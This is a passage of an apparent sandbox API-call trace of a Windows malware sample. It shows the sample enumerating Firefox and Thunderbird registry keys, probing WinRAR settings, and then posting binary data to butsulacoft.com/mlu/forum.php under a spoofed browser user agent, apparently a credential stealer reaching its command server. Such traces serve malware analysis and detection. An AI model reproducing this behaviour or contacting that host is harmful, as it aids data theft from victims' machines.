dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.015] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0055.015] lstrlenA (lpString="\\") returned 1 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x754f00 [0055.015] lstrcpyA (in: lpString1=0x754f00, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0055.015] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0055.015] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0055.015] lstrlenA (lpString="25.0 (en-US)") returned 12 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x751178 [0055.015] lstrcpyA (in: lpString1=0x751178, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0055.015] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0055.015] LocalFree (hMem=0x754f00) returned 0x0 [0055.015] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.015] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.015] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.015] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0055.015] lstrlenA (lpString="\\") returned 1 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7510c0 [0055.015] lstrcpyA (in: lpString1=0x7510c0, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0055.015] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.015] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0055.015] lstrlenA (lpString="Main") returned 4 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756d60 [0055.015] lstrcpyA (in: lpString1=0x756d60, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.015] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0055.015] LocalFree (hMem=0x7510c0) returned 0x0 [0055.015] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940efc8 [0055.015] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x3ec) returned 0x0 [0055.015] RegEnumKeyExA (in: hKey=0x3ec, dwIndex=0x0, lpName=0x940efc8, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.015] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x1, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.015] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0055.015] lstrlenA (lpString="\\") returned 1 [0055.015] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7510c0 [0055.015] lstrcpyA (in: lpString1=0x7510c0, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0055.015] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.015] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0055.016] lstrlenA (lpString="Uninstall") returned 9 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756d60 [0055.016] lstrcpyA (in: lpString1=0x756d60, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0055.016] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0055.016] LocalFree (hMem=0x7510c0) returned 0x0 [0055.016] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940efc8 [0055.016] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x3ec) returned 0x0 [0055.016] RegEnumKeyExA (in: hKey=0x3ec, dwIndex=0x0, lpName=0x940efc8, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.016] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x2, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.016] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.016] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x2, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.016] lstrlenA (lpString="Software\\Mozilla") returned 16 [0055.016] lstrlenA (lpString="\\") returned 1 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x763a18 [0055.016] lstrcpyA (in: lpString1=0x763a18, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0055.016] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.016] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0055.016] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x755110 [0055.016] lstrcpyA (in: lpString1=0x755110, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0055.016] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0055.016] LocalFree (hMem=0x763a18) returned 0x0 [0055.016] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0055.016] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0xefc18 | out: phkResult=0xefc18*=0x3e0) returned 0x0 [0055.016] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.016] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0055.016] lstrlenA (lpString="\\") returned 1 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754f00 [0055.016] lstrcpyA (in: lpString1=0x754f00, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0055.016] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.016] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0055.016] lstrlenA (lpString="bin") returned 3 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x751178 [0055.016] lstrcpyA (in: lpString1=0x751178, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.016] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0055.016] LocalFree (hMem=0x754f00) returned 0x0 [0055.016] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0055.016] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.016] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.016] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.017] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.017] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0055.017] lstrlenA (lpString="\\") returned 1 [0055.017] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754f00 [0055.017] lstrcpyA (in: lpString1=0x754f00, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0055.017] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.017] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0055.017] lstrlenA (lpString="extensions") returned 10 [0055.017] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756d60 [0055.017] lstrcpyA (in: lpString1=0x756d60, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0055.017] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0055.017] LocalFree (hMem=0x754f00) returned 0x0 [0055.017] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0055.017] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x940e740 [0055.017] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x3e8) returned 0x0 [0055.017] RegEnumKeyExA (in: hKey=0x3e8, dwIndex=0x0, lpName=0x940e740, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.017] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.017] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x3, lpName=0x75e920, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.017] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x1dd, cb=0x0, dwLockType=0x0) returned 0x0 [0055.017] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc54) returned 0x0 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x1d5, cb=0x0, dwLockType=0x0) returned 0x0 [0055.017] IStream:Stat (in: This=0x7473d8, pstatstg=0x1d5, grfStatFlag=0x0 | out: pstatstg=0x1d5) returned 0x0 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.017] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefd94 | out: phglobal=0xefd94) returned 0x0 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.017] GlobalLock (hMem=0x87b001c) returned 0x76a4b0 [0055.017] LocalAlloc (uFlags=0x40, uBytes=0x1255) returned 0x940e740 [0055.017] LocalFree (hMem=0x940e740) returned 0x0 [0055.017] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.017] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.017] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc48 | out: phkResult=0xefc48*=0x3e4) returned 0x0 [0055.018] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Client Hash", lpReserved=0x0, lpType=0xefc40, lpData=0x0, lpcbData=0xefc44*=0x6f3528 | out: lpType=0xefc40*=0x0, lpData=0x0, lpcbData=0xefc44*=0x0) returned 0x2 [0055.018] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xefc87 | out: lpBuffer="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 0x25 [0055.018] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xefd94 | out: ppstm=0xefd94*=0x76e560) returned 0x0 [0055.018] lstrlenA (lpString="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 37 [0055.018] lstrlenA (lpString="Client Hash") returned 11 [0055.018] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756d60 [0055.018] lstrcpyA (in: lpString1=0x756d60, lpString2="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\" [0055.018] lstrcatA (in: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\", lpString2="Client Hash" | out: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\Client Hash") returned="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\Client Hash" [0055.018] CreateFileA (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\Client Hash" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\client hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.018] LocalFree (hMem=0x756d60) returned 0x0 [0055.018] IUnknown:Release (This=0x76e560) returned 0x0 [0055.018] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdb0 | out: phglobal=0xefdb0) returned 0x0 [0055.018] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.018] GlobalLock (hMem=0x87b001c) returned 0x76a4b0 [0055.018] LocalAlloc (uFlags=0x40, uBytes=0x5a0080) returned 0x9500020 [0055.019] LocalAlloc (uFlags=0x40, uBytes=0x1002cf) returned 0x9ab0020 [0055.022] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.022] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0055.022] IStream:Stat (in: This=0x7473d8, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0055.022] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0b9) returned 0x0 [0055.022] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd94) returned 0x0 [0055.023] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd80) returned 0x0 [0055.023] IStream:Commit (This=0x7473d8, grfCommitFlags=0x9ab0020) returned 0x0 [0055.023] LocalFree (hMem=0x9500020) returned 0x0 [0055.025] LocalFree (hMem=0x9ab0020) returned 0x0 [0055.026] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.026] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdb0 | out: phglobal=0xefdb0) returned 0x0 [0055.026] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.026] GlobalLock (hMem=0x87b001c) returned 0x76a4b0 [0055.026] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.026] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.026] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefda4) returned 0x0 [0055.026] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdb0 | out: phglobal=0xefdb0) returned 0x0 [0055.026] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.026] GlobalLock (hMem=0x87b001c) returned 0x76a4b0 [0055.026] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.026] IStream:LockRegion (This=0x7473d8, libOffset=0xfffffffc, cb=0x0, dwLockType=0x2) returned 0x0 [0055.036] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0055.036] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.036] IStream:LockRegion (This=0x7473d8, libOffset=0x103, cb=0x0, dwLockType=0x0) returned 0x0 [0055.036] IStream:SetSize (This=0x7473d8, libNewSize=0xefd90) returned 0x0 [0055.036] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdac | out: phglobal=0xefdac) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] GlobalLock (hMem=0x87b001c) returned 0x76a4b0 [0055.037] LocalAlloc (uFlags=0x40, uBytes=0x187) returned 0x76a5c8 [0055.037] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.037] lstrlenA (lpString="1RcpNUE12zpJ8uDaDqlygR70aZl2ogwes") returned 33 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0055.037] IStream:Stat (in: This=0x7473d8, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0055.037] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0c4) returned 0x0 [0055.037] IStream:Commit (This=0x7473d8, grfCommitFlags=0x76a5c8) returned 0x0 [0055.037] LocalFree (hMem=0x76a5c8) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdb0 | out: phglobal=0xefdb0) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] GlobalLock (hMem=0x87b001c) returned 0x72f5b0 [0055.037] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefda4) returned 0x0 [0055.037] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdb0 | out: phglobal=0xefdb0) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] GlobalLock (hMem=0x87b001c) returned 0x72f5b0 [0055.037] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0xfffffffc, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x10f, cb=0x0, dwLockType=0x0) returned 0x0 [0055.037] IStream:SetSize (This=0x7473d8, libNewSize=0xefd90) returned 0x0 [0055.037] GetTickCount () returned 0x156d6 [0055.037] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdb0 | out: phglobal=0xefdb0) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] GlobalLock (hMem=0x87b001c) returned 0x72f5b0 [0055.037] LocalAlloc (uFlags=0x40, uBytes=0x193) returned 0x76a4b0 [0055.037] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0055.037] IStream:Stat (in: This=0x7473d8, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0055.037] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc9c) returned 0x0 [0055.037] IStream:Commit (This=0x7473d8, grfCommitFlags=0x76a4b0) returned 0x0 [0055.037] LocalFree (hMem=0x76a4b0) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.037] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.038] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xefdcc | out: phglobal=0xefdcc) returned 0x0 [0055.038] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.038] GlobalLock (hMem=0x87b001c) returned 0x72f5b0 [0055.038] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x940e740 [0055.038] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x9412750 [0055.038] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x94137d8 [0055.038] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x9414860 [0055.038] InternetCrackUrlA (in: lpszUrl="http://butsulacoft.com/mlu/forum.php", dwUrlLength=0x0, dwFlags=0x80000000, lpUrlComponents=0xefd48 | out: lpUrlComponents=0xefd48) returned 1 [0055.038] InternetCreateUrlA (in: lpUrlComponents=0xefd48, dwFlags=0x80000000, lpszUrl=0x94137d8, lpdwUrlLength=0xefd34 | out: lpszUrl="http://butsulacoft.com/mlu/forum.php", lpdwUrlLength=0xefd34) returned 1 [0055.044] InternetCrackUrlA (in: lpszUrl="http://butsulacoft.com/mlu/forum.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xefd48 | out: lpUrlComponents=0xefd48) returned 1 [0055.044] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x9414860, cbSize=0xefd2c | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0xefd2c) returned 0x0 [0055.047] wsprintfA (in: param_1=0x94137d8, param_2="POST %s HTTP/1.0\r\nHost: %s\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: %lu\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nContent-Encoding: binary\r\nUser-Agent: %s\r\n\r\n" | out: param_1="POST /mlu/forum.php HTTP/1.0\r\nHost: butsulacoft.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: 279\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\r\n\r\n") returned 436 [0055.047] socket (af=2, type=1, protocol=6) returned 0x3e0 [0055.048] inet_addr (cp="butsulacoft.com") returned 0xffffffff [0055.048] gethostbyname (name="butsulacoft.com") returned 0x270418*(h_name="butsulacoft.com", h_aliases=0x270428*=(), 